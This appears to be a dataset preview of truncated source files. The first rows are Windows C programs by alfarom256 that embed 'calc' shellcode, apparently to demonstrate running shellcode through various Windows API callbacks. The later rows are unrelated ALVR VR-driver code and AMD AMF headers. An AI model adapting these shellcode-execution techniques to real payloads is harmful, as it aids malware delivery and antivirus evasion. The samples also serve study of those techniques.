text
stringlengths
1
24.5M
#include <windows.h> #include <stdio.h> #include <imagehlp.h> // Requires Imagehlp.lib // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x...
#include <Windows.h> #include <stdio.h> #include <imm.h> #pragma comment(lib, "Imm32.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <Windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> #include <stdio.h> #include <wct.h> #include <stdint.h> #define LEN 277 // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x...
// alfarom256 #include <Windows.h> #include <stdio.h> #define TEB_FIBERDATA_PTR_OFFSET 0x17ee #define LPFIBER_RIP_OFFSET 0x0a8 // calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x...
#include <windows.h> #include <stdio.h> #include <setupapi.h> #pragma comment(lib, "Setupapi.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x...
#include <windows.h> #include <DbgHelp.h> #include <stdio.h> // Requires Dbghelp.lib // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x...
#include <windows.h> #include <stdio.h> // requires Dbghelp.lib #include <Dbghelp.h> #pragma comment(lib, "Dbghelp.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b...
#include <windows.h> #include <stdio.h> // requires Dbghelp.lib #include <Dbghelp.h> #pragma comment(lib, "Dbghelp.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b...
#include <windows.h> #include<avrfsdk.h> #include <stdio.h> typedef ULONG(WINAPI* VerifierEnumResourceFn)( HANDLE Process, ULONG Flags, ULONG ResourceType, AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, PVOID EnumerationContext ); // alfarom256 calc shellcode unsigned char op[] = "\xfc\...
#include "common-utils.h" std::wstring ToWstring(const std::string &src) { // TODO: src is really UTF-8? std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter; return converter.from_bytes(src); } std::string ToUTF8(const std::wstring &src) { std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> conver...
#pragma once #include <string> #include <locale> #include <codecvt> std::wstring ToWstring(const std::string &src); std::string ToUTF8(const std::wstring &src);
#include <stdarg.h> #include <wchar.h> #include "exception.h" #include "common-utils.h" Exception FormatExceptionV(const wchar_t *format, va_list args) { wchar_t buf[10000]; #ifdef _WIN32_ _vsnwprintf_s(buf, sizeof(buf) / sizeof(buf[0]), format, args); #else vswprintf(buf, sizeof(buf) / sizeof(buf[0]), format, args...
#pragma once #include <string> class Exception : public std::exception { public: Exception(std::wstring what) : mWhat(what) { } Exception() { } virtual const wchar_t *what() { return mWhat.c_str(); } Exception& operator=(const Exception &src) { mWhat = src.mWhat; return *this; } private: std::wstri...
#ifndef ALVRCLIENT_PACKETTYPES_H #define ALVRCLIENT_PACKETTYPES_H #include <stdint.h> #include <assert.h> #include "reedsolomon/rs.h" // Maximum UDP packet size (payload size in bytes) static const int ALVR_MAX_PACKET_SIZE = 1400; static const int ALVR_REFRESH_RATE_LIST_SIZE = 4; static const char *ALVR_HELLO_PACKET_...
/* * fec.c -- forward error correction based on Vandermonde matrices * * (C) 1997-98 Luigi Rizzo (luigi@iet.unipi.it) * (C) 2001 Alain Knaff (alain@knaff.lu) * (C) 2017 Iwan Timmer (irtimmer@gmail.com) * * Portions derived from code by Phil Karn (karn@ka9q.ampr.org), * Robert Morelos-Zaragoza (robert@spectra.en...
#ifndef __RS_H_ #define __RS_H_ #ifdef __cplusplus extern "C" { #endif /* use small value to save memory */ #define DATA_SHARDS_MAX 255 typedef struct _reed_solomon { int data_shards; int parity_shards; int shards; unsigned char* m; unsigned char* parity; } reed_solomon; /** * MUST initial one time ...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #include <openvr_driver.h> #include "L...
#include "AudioCapture.h" class PropVariant { public: PropVariant() { PropVariantInit(&pv); } ~PropVariant() { HRESULT hr = PropVariantClear(&pv); if (FAILED(hr)) { Log(L"PropVariantClear failed: hr = 0x%08x", hr); } } PROPVARIANT &Get() { return pv; } private: PROPVARIANT pv; }; class TaskMem {...
#pragma once #include <stdio.h> #include <windows.h> #include <mmsystem.h> #include <mmdeviceapi.h> #include <audioclient.h> #include <avrt.h> #include <functiondiscoverykeys_devpkey.h> #include <wrl.h> #include "openvr-utils\ipctools.h" #include "Logger.h" #include "Settings.h" #include "Utils.h" #include "Listener.h...
#include "Bitrate.h" Bitrate Bitrate::fromBits(uint64_t rateInBits) { return Bitrate(rateInBits); } Bitrate Bitrate::fromKiBits(uint64_t rateInKiBits) { return Bitrate(rateInKiBits * 1000); } Bitrate Bitrate::fromMiBits(uint64_t rateInMiBits) { return Bitrate(rateInMiBits * 1000000); } uint64_t Bitrate::toBits()...
#pragma once #include <stdint.h> class Bitrate { public: static Bitrate fromBits(uint64_t rateInBits); static Bitrate fromKiBits(uint64_t rateInKiBits); static Bitrate fromMiBits(uint64_t rateInMiBits); uint64_t toBits(); uint64_t toKiBits(); uint64_t toMiBits(); uint64_t toBytes(); uint64_t toKiBytes(); ui...
#include "ControlSocket.h" #include "Logger.h" const int ControlSocket::CONTROL_PORT = 9944; const char *ControlSocket::CONTROL_HOST = "127.0.0.1"; ControlSocket::ControlSocket(std::shared_ptr<Poller> poller) : mPoller(poller) , mSocket(INVALID_SOCKET) , mClientSocket(INVALID_SOCKET) { } ControlSocket::~ControlSo...
#pragma once #include <memory> #include <string> #include <vector> #include "Poller.h" #include "Utils.h" class ControlSocket { public: ControlSocket(std::shared_ptr<Poller> poller); ~ControlSocket(); bool Startup(); bool Accept(); bool Recv(std::vector<std::string> &commands); void CloseClient(); void Shut...
#include <vector> #include <picojson.h> #include "DeviceQuery.h" #include "AudioCapture.h" static void Serialize(wchar_t **buf, int *len, const picojson::value &value) { std::wstring json = ToWstring(value.serialize()); *len = static_cast<int>(json.size()); *buf = new wchar_t[json.size()]; memcpy(*buf, json.c_str(...
#pragma once
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #include "FrameEncoder.h" #include "Vid...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #pragma once #include <memory> #includ...
#include "FrameRender.h" #include "Utils.h" #include "Logger.h" #include "resource.h" #include "Settings.h" #include "WICTextureLoader.h" extern uint64_t gDriverTestMode; FrameRender::FrameRender(std::shared_ptr<CD3DRender> pD3DRender) : mD3DRender(pD3DRender) { } FrameRender::~FrameRender() { } bool FrameRender...
#pragma once #include <string> #include <memory> #include <stdint.h> #include <d3d11.h> #include <wrl.h> #include <d3dcompiler.h> #include <directxmath.h> #include <directxcolors.h> #include <SpriteFont.h> #include <SimpleMath.h> #include "openvr-utils\d3drender.h" #include "openvr_driver.h" using Microsoft::WRL::C...
#include "FreePIE.h" #include "packet_types.h" // Map FreePIE button id to RemoteController button id const int FreePIE::BUTTON_MAP[FreePIE::ALVR_FREEPIE_BUTTONS] = { ALVR_INPUT_SYSTEM_CLICK, ALVR_INPUT_APPLICATION_MENU_CLICK, ALVR_INPUT_GRIP_CLICK , ALVR_INPUT_DPAD_LEFT_CLICK, ALVR_INPUT_DPAD_UP_CLICK, ALVR_INPUT_D...
#pragma once #include "openvr-utils\ipctools.h" #include "resource.h" #include "packet_types.h" #include "Utils.h" #include "Logger.h" class FreePIE { public: static const uint32_t ALVR_FREEPIE_SIGNATURE_V3 = 0x11223346; static const uint32_t ALVR_FREEPIE_FLAG_OVERRIDE_HEAD_ORIENTATION = 1 << 0; static const uint...
#include "IDRScheduler.h" #include "Utils.h" IDRScheduler::IDRScheduler() : mState(State::NOT_STREAMING) { } IDRScheduler::~IDRScheduler() { } void IDRScheduler::OnPacketLoss() { mState = State::REQUESTING_IDR; } void IDRScheduler::OnStreamStart() { mState = State::REQUESTING_IDR; } bool IDRScheduler::CheckID...
#pragma once #include <stdint.h> #include "openvr-utils\ipctools.h" class IDRScheduler { public: IDRScheduler(); ~IDRScheduler(); void OnPacketLoss(); void OnStreamStart(); bool CheckIDRInsertion(); void OnFrameAck(bool result, bool isIDR); bool CanEncodeFrame(); private: enum State { NOT_STREAMING, //...
#include "Listener.h" #include "Bitrate.h" Listener::Listener() : mExiting(false) , mEnabled(false) , mState(State::NOT_CONNECTED) , mLastSeen(0) { memset(&mTrackingInfo, 0, sizeof(mTrackingInfo)); mStatistics = std::make_shared<Statistics>(); mSettings.type = ALVR_PACKET_TYPE_CHANGE_SETTINGS; mSettings.debu...
#pragma once #include <iostream> #include <string> #include <sstream> #include <vector> #include <algorithm> #include "openvr-utils\threadtools.h" #include "Logger.h" #include "UdpSocket.h" #include "Utils.h" #include "Poller.h" #include "ControlSocket.h" #include "packet_types.h" #include "Settings.h" #include "Stati...
#include <Windows.h> #include <string> #include <mutex> #include <time.h> #include <share.h> #include <list> #include "Logger.h" #include "Utils.h" #include "openvr-utils\ipctools.h" #include "exception.h" #include "common-utils.h" #pragma comment(lib, "psapi.lib") #pragma comment(lib, "dbghelp.lib") // Some versions...
#pragma once #include <iostream> #include <fstream> #include <exception.h> void InitCrashHandler(); void OpenLog(const char *fileName); void CloseLog(); void Log(const wchar_t *pFormat, ...); void Log(const char *pFormat, ...); void LogException(const wchar_t *format, ...); void LogException(const char *format, ......
#include "OpenVRController.h" OpenVRController::OpenVRController(bool hand, int index) : mHand(hand) , mPreviousButtons(0) , mPreviousFlags(0) , mObjectId(vr::k_unTrackedDeviceIndexInvalid) , mIndex(index) { memset(&mPose, 0, sizeof(mPose)); mPose.poseIsValid = true; mPose.result = vr::TrackingResult_Running_O...
#pragma once #include <openvr_driver.h> #include <string> #include "Logger.h" #include "Listener.h" #include "packet_types.h" #include "FreePIE.h" class OpenVRController : public vr::ITrackedDeviceServerDriver { public: OpenVRController(bool hand, int index); virtual ~OpenVRController(); bool GetHand(); // // ...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #include "OpenVRDirectModeComponent.h" ...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #pragma once #include <map> #include ...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #include "OpenVRDisplayComponent.h" #i...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #pragma once #include <openvr_driver.h...
#include "OpenVRFakeTrackingReference.h" #include "Utils.h" vr::EVRInitError OpenVRFakeTrackingReference::Activate(vr::TrackedDeviceIndex_t unObjectId) { Log(L"OpenVRFakeTrackingReference::Activate. objectId=%d", unObjectId); mObjectId = unObjectId; mPropertyContainer = vr::VRProperties()->TrackedDeviceToProperty...
#pragma once #include <openvr_driver.h> #include "Logger.h" class OpenVRFakeTrackingReference : public vr::ITrackedDeviceServerDriver { public: // // ITrackedDeviceServerDriver // virtual vr::EVRInitError Activate(vr::TrackedDeviceIndex_t unObjectId); virtual void Deactivate(); virtual void EnterStandby(); vo...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #include "OpenVRHmd.h" uint64_t gDrive...
//===================== Copyright (c) Valve Corporation. All Rights Reserved. ====================== // // Example OpenVR driver for demonstrating IVRVirtualDisplay interface. // //================================================================================================== #pragma once #include <openvr_driver.h...
#include "PacketBuffer.h" #include "Utils.h" #include "Logger.h" PacketBuffer::PacketBuffer() { } PacketBuffer::~PacketBuffer() { } void PacketBuffer::Push(char *buf, int len) { IPCCriticalSectionLock lock(mCS); SendBuffer buffer; buffer.buf.reset(new char[len]); buffer.len = len; memcpy(buffer.buf.get(), buf, ...
#pragma once #include <list> #include <memory> #include <functional> #include "openvr-utils\ipctools.h" class PacketBuffer { public: PacketBuffer(); ~PacketBuffer(); void Push(char *buf, int len); bool Send(std::function<bool(char *, int)> sendFunc); bool IsEmpty(); void Clear(); private: struct SendBuffer ...
#include "Poller.h" #include "Logger.h" #include "Utils.h" Poller::Poller() { FD_ZERO(&mOrgReadFDs); FD_ZERO(&mReadFDs); FD_ZERO(&mOrgWriteFDs); FD_ZERO(&mWriteFDs); BindQueueSocket(); } Poller::~Poller() { } int Poller::Do() { timeval timeout; timeout.tv_sec = 0; timeout.tv_usec = mSmallSleep ? SMALL_WAIT_T...
#pragma once #include "Utils.h" enum PollerSocketType { READ, WRITE }; class Poller { public: Poller(); ~Poller(); int Do(); void AddSocket(SOCKET s, PollerSocketType type); bool IsPending(SOCKET s, PollerSocketType type); void RemoveSocket(SOCKET s, PollerSocketType type); void SleepAndWake(); void Wake(...
#include "RecenterManager.h" RecenterManager::RecenterManager() : mHasValidTrackingInfo(false) , mRecentering(false) , mRecenterStartTimestamp(0) , mCenterPitch(0.0) , mRotationDiffLastInitialized(0) , mFreePIE(std::make_shared<FreePIE>()) , mControllerDetected(false) { } bool RecenterManager::HasValidTracking...
#pragma once #include <openvr_driver.h> #include "Utils.h" #include "Logger.h" #include "packet_types.h" #include "FreePIE.h" #include "OpenVRController.h" class RecenterManager { public: RecenterManager(); bool HasValidTrackingInfo(); bool IsRecentering(); void BeginRecenter(); void EndRecenter(); void OnP...
#pragma once extern "C" { #include <libavutil/opt.h> #include <libavutil/channel_layout.h> #include <libavutil/samplefmt.h> #include <libswresample/swresample.h> }; #include "Logger.h" class Resampler { public: Resampler(int src_rate, int dst_rate, int src_channels, int dst_channels) { this->src_rate = src_rate; ...
#define IDR_FONT 1000 #define IDR_VS 1001 #define IDR_PS 1002 #define IDR_RECENTER_TEXTURE 1003 #define IDR_MESSAGE_BG_TEXTURE 1004 #define APP_VERSION_MAJOR 2 #define APP_VERSION_MINOR 4 #define APP_VERSION_PATCH 0 #define APP_VERSION_SUFFIX "-alpha5" #define APP_VERSION_STRING__(major, minor, patch, suffix) #major "...
#include "Settings.h" #include "Logger.h" #include "openvr-utils\ipctools.h" #include "resource.h" #define PICOJSON_USE_INT64 #include <picojson.h> extern uint64_t gDriverTestMode; Settings Settings::mInstance; Settings::Settings() : mEnableOffsetPos(false) , mLoaded(false) { mOffsetPos[0] = 0.0f; mOffsetPos[1] ...
#pragma once #include <openvr_driver.h> #include "common-utils.h" #include "Bitrate.h" #include "Utils.h" // // Settings // static const char * const k_pch_Settings_Section = "driver_alvr_server"; static const char * const k_pch_Settings_SerialNumber_String = "serialNumber"; static const char * const k_pch_Settings_T...
#pragma once #include <algorithm> #include <stdint.h> #include <time.h> class Statistics { public: Statistics() { ResetAll(); mCurrent = time(NULL); } void ResetAll() { mPacketsSentTotal = 0; mPacketsSentInSecond = 0; mPacketsSentInSecondPrev = 0; mBitsSentTotal = 0; mBitsSentInSecond = 0; mBitsSe...
#include "ThrottlingBuffer.h" #include "Utils.h" #include "Logger.h" ThrottlingBuffer::ThrottlingBuffer(const Bitrate &bitrate) : mBitrate(bitrate) { // mWindow bytes can be sent at a time. mWindow = mBitrate.toBytes() * BURST_US / (1000 * 1000); if (mWindow < 2000) { // Ensure single packet can be sent mWindow...
#pragma once #include <list> #include <memory> #include <functional> #include "Bitrate.h" #include "openvr-utils\ipctools.h" #include <packet_types.h> class ThrottlingBuffer { public: ThrottlingBuffer(const Bitrate &bitrate); ~ThrottlingBuffer(); void Push(VideoFrame *buf, int len, uint64_t frameIndex); bool Se...
#include "UdpSocket.h" #include "Logger.h" #include "Utils.h" #include "Settings.h" UdpSocket::UdpSocket(std::string host, int port, std::shared_ptr<Poller> poller, std::shared_ptr<Statistics> statistics, const Bitrate &bitrate) : mHost(host) , mPort(port) , mSocket(INVALID_SOCKET) , mPoller(poller) , mStatistics...
#pragma once #include <string> #include <memory> #include <vector> #include <list> #include "Poller.h" #include "Statistics.h" #include "Utils.h" #include "ThrottlingBuffer.h" #include "PacketBuffer.h" class UdpSocket { public: UdpSocket(std::string host, int port, std::shared_ptr<Poller> poller, std::shared_ptr<Sta...
#include "Utils.h" uint64_t gPerformanceCounterFrequency = 0;
#pragma once #pragma warning(disable:4005) #include <WinSock2.h> #pragma warning(default:4005) #include <WinInet.h> #include <WS2tcpip.h> #include <Windows.h> #include <stdint.h> #include <string> #include <vector> #include <d3d11.h> #define _USE_MATH_DEFINES #include <math.h> #include <VersionHelpers.h> #include "op...
#include <ScreenGrab.h> #include "VideoEncoder.h" void VideoEncoder::SaveDebugOutput(std::shared_ptr<CD3DRender> mD3DRender, std::vector<std::vector<uint8_t>> &vPacket, ID3D11Texture2D *texture, uint64_t frameIndex) { if (vPacket.size() == 0) { return; } if (vPacket[0].size() < 10) { return; } int type = vPac...
#pragma once #include <memory> #include "openvr-utils\d3drender.h" #include "Listener.h" #include "Bitrate.h" class VideoEncoder { public: virtual void Initialize() = 0; virtual void Shutdown() = 0; virtual void Transmit(ID3D11Texture2D *pTexture, uint64_t presentationTime, uint64_t videoFrameIndex, uint64_t trac...
#include "VideoEncoderNVENC.h" #include "..\NvEnc\NvCodecUtils.h" #include "..\NvEnc\nvencoderclioptions.h" VideoEncoderNVENC::VideoEncoderNVENC(std::shared_ptr<CD3DRender> pD3DRender , std::shared_ptr<Listener> listener, bool useNV12) : mD3DRender(pD3DRender) , mFrame(0) , mListener(listener) , mUseNV12(useNV12...
#pragma once #include <memory> #include "openvr-utils\d3drender.h" #include "openvr-utils\ipctools.h" #include "Listener.h" #include "Bitrate.h" #include "VideoEncoder.h" #include "nvenc\NvTextureEncoderD3D11.h" #include "..\CUDA\NvTextureEncoderCuda.h" // Video encoder for NVIDIA NvEnc. class VideoEncoderNVENC : pub...
#include "VideoEncoderVCE.h" #define AMF_THROW_IF(expr) {AMF_RESULT res = expr;\ if(res != AMF_OK){throw MakeException(L"AMF Error %d. %s", res, L#expr);}} const wchar_t *VideoEncoderVCE::START_TIME_PROPERTY = L"StartTimeProperty"; const wchar_t *VideoEncoderVCE::VIDEO_FRAME_INDEX_PROPERTY = L"VideoFrameIndexProperty...
#pragma once #include "VideoEncoder.h" #include "amf/common/AMFFactory.h" #include "amf/include/components/VideoEncoderVCE.h" #include "amf/include/components/VideoEncoderHEVC.h" #include "amf/include/components/VideoConverter.h" #include "amf/common/AMFSTL.h" #include "amf/common/Thread.h" typedef std::function<void...
#include "VSyncThread.h" #include "Logger.h" VSyncThread::VSyncThread(int refreshRate) : mExit(false) , mRefreshRate(refreshRate) {} // Trigger VSync if elapsed time from previous VSync is larger than 30ms. void VSyncThread::Run() { mPreviousVsync = 0; while (!mExit) { uint64_t current = GetTimestampUs(); ui...
#pragma once #include <stdint.h> #include "openvr-utils/threadtools.h" #include "Utils.h" class VSyncThread : public CThread { public: VSyncThread(int refreshRate); void Run()override; void Shutdown(); void SetRefreshRate(int refreshRate); private: bool mExit; uint64_t mPreviousVsync; int mRefreshRate = 60; }...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Copyright (c) 2016 Advanced Micro Devices, Inc. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights /...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...
// // Notice Regarding Standards. AMD does not provide a license or sublicense to // any Intellectual Property Rights relating to any standards, including but not // limited to any audio and/or video codec technologies such as MPEG-2, MPEG-4; // AVC/H.264; HEVC/H.265; AAC decode/FFMPEG; AAC encode/FFMPEG; VC-1; and M...